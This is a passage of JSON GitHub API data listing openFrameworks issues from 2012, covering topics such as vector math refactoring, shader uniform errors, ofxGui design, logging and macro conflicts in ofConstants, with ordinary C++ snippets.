Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-03-12T16:33:06Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","id":3596240,"number":1052,"title":"ofShader should show an error when using an invalid name","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-10T17:52:58Z","updated_at":"2012-08-23T06:42:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","id":3587808,"number":1047,"title":"opening video files with system dialog in osx prevents them to play correctly","user":{"login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","url":"https://api.github.com/users/hvfrancesco","html_url":"https://github.com/hvfrancesco","followers_url":"https://api.github.com/users/hvfrancesco/followers","following_url":"https://api.github.com/users/hvfrancesco/following","gists_url":"https://api.github.com/users/hvfrancesco/gists{/gist_id}","starred_url":"https://api.github.com/users/hvfrancesco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hvfrancesco/subscriptions","organizations_url":"https://api.github.com/users/hvfrancesco/orgs","repos_url":"https://api.github.com/users/hvfrancesco/repos","events_url":"https://api.github.com/users/hvfrancesco/events{/privacy}","received_events_url":"https://api.github.com/users/hvfrancesco/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-03-09T18:54:28Z","updated_at":"2012-03-12T15:31:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","id":3528378,"number":1039,"title":"make icons for OF apps","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-03-06T17:56:58Z","updated_at":"2012-03-20T16:11:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","id":3510933,"number":1037,"title":"ofxGui, ofxButton should look visually different to toggle","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-05T18:06:03Z","updated_at":"2012-03-06T15:32:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","id":3509628,"number":1036,"title":"ofxGui -> ofGui - how/should we bring into core?","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":11,"created_at":"2012-03-05T16:56:26Z","updated_at":"2012-07-27T05:34:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","id":3495602,"number":1034,"title":"projectGenerator ignores shader .vert and .frag files","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-03-04T11:19:04Z","updated_at":"2012-03-12T12:39:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","id":3495503,"number":1033,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":11,"created_at":"2012-03-04T10:54:12Z","updated_at":"2012-03-06T15:06:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","id":3476540,"number":1022,"title":"Optimisation consistency","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-03-02T13:25:15Z","updated_at":"2012-03-30T16:34:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","id":3462226,"number":1019,"title":"ofFbo needs consideration as far as MRT + MSAA","user":{"login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","url":"https://api.github.com/users/kpasko","html_url":"https://github.com/kpasko","followers_url":"https://api.github.com/users/kpasko/followers","following_url":"https://api.github.com/users/kpasko/following","gists_url":"https://api.github.com/users/kpasko/gists{/gist_id}","starred_url":"https://api.github.com/users/kpasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kpasko/subscriptions","organizations_url":"https://api.github.com/users/kpasko/orgs","repos_url":"https://api.github.com/users/kpasko/repos","events_url":"https://api.github.com/users/kpasko/events{/privacy}","received_events_url":"https://api.github.com/users/kpasko/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-03-01T19:42:09Z","updated_at":"2012-03-01T19:42:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","id":3438233,"number":1007,"title":"bug #defines in ofConstants conflict with other libraries","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-02-29T15:31:18Z","updated_at":"2012-03-01T04:33:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","id":3432042,"number":1005,"title":"feature ofRandom(ofVec3f) ","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-02-29T06:32:03Z","updated_at":"2012-03-01T13:02:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","id":3401755,"number":1001,"title":"OF app sound out not available from Jack","user":{"login":"enrike","id":710785,"avatar_url":"https://secure.gravatar.com/avatar/719e9e7ca6d6d88f3b8da82832cc94c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"719e9e7ca6d6d88f3b8da82832cc94c7","url":"https://api.github.com/users/enrike","html_url":"https://github.com/enrike","followers_url":"https://api.github.com/users/enrike/followers","following_url":"https://api.github.com/users/enrike/following","gists_url":"https://api.github.com/users/enrike/gists{/gist_id}","starred_url":"https://api.github.com/users/enrike/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/enrike/subscriptions","organizations_url":"https://api.github.com/users/enrike/orgs","repos_url":"https://api.github.com/users/enrike/repos","events_url":"https://api.github.com/users/enrike/events{/privacy}","received_events_url":"https://api.github.com/users/enrike/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravat